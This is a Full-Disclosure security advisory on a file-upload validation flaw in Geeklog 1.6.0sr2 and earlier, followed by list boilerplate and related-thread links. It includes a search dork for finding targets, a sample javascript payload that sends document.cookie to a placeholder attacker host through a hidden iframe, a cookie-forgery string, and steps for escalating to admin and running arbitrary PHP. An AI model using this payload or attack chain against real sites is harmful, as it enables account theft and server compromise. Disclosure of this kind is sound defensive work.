[Full-disclosure] Geeklog <= v1.6.0sr2 - Remote File Upload

Geeklog <= v1.6.0sr2 - Remote File Upload

Discovered: JaL0h

Software Site: http://www.geeklog.net

Dork: "By Geeklog" "Created this page in" +seconds +powered

Remote File Upload
Geeklog has several options to upload images. The image upload process does
not validate the mime type of the upload. Geeklog trusts the mime type
specified by the browser and also checks the file extension, both of which
are very easy to spoof.

Files with .jpg extensions can be uploaded, but these file can contain
anything, like javascript or PHP code. Using FireFox you can upload any
jpg extension and it will be accepted since FireFox sets the mime type
based on file extension.

Uploading usually requires that you first create a user account. Once an
account is created, you can upload a user photo, which could take advantage
of this vulnerability.

Potential Abuse
Executable javascript can easily be uploaded. There are several XSS holes in
many of the Geeklog plugins which could run the uploaded javascript. If a simple
cookie stealing javascript were uploaded, it could be used to expose the Geeklog
uid and password hash which is as good as having the actual password.

Sample JavaScript

document.write('<iframe src="http://my.cookiestealingsite.com/cs.php?ck='
+ document.cookie + '" id="myFrame" frameborder="0" vspace="0"
hspace="0" marginwidth="0" marginheight="0" width="0" scrolling="no"
height="0" style="visibility:hidden;"></iframe>');

Once the uid and password hash is known, you can set a cookie in your browser:

geeklog=[uid]; password=[md5 hash];

which gives you instant access to everything the user has access to. If you
expose an administrative account, you have full access to the admin panel
where you can set the staticpages.PHP permission to true, then create a
static page that will run any PHP script you desire, potentially exposing
the entire server.

The cookie exploit was originally documented by Nine:Situations:Group::bookoo
http://www.milw0rm.com/exploits/8376 and remains unfixed.

Successful exploitation requires the ability to execute the uploaded JavaScript.
The Geeklog Forum program can be used as an attack vector since it does not
properly validate many $_GET / $_POST variables.

Windows Live: Make it easier for your friends to see what you’re up to on Facebook.
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • Re: Limiting fileupload file types
    ... done on the client-side using JavaScript. ... JavaScript function that checks the "value" attribute of the "input ... check the file extension. ... Currently site visitors can upload any type of file. ...
  • [Full-disclosure] Geeklog <- 1.6.0sr1 - Remote Arbitrary File Upload
    ... Default Insecure Configuration ... Configuration settings for FCKeditor shipped with Geeklog are insecure by ... They allow attackers to view and upload files and folders ...
  • Re: Can not download DWT-files from document libraries
    ... If I try to upload a dll-file, ... It's so frustrating that dwt-files doesn't work in the same way! ... It seems that SPS also blocks the file extension in some way. ...
  • Re: resize image on client side
    ... sent pictures are very huge and I do resize them anyway since I ... Instead of letting people upload the 3MB file then resize it on the ... server, isn't there any possibility to "reduce" the file resolution on ... on the users PC to be able to manipulate images as Javascript itself has ...
  • RE: [PHP] Re: PHP/AJAX File Drag&Drop
    ... You can also use the FileReference ActionScript class in flash. ... multiple file selection. ... make use of this flash feature to upload multiple files interactively ... Unfortunatly javascript can't access the filesystem so it can't get ...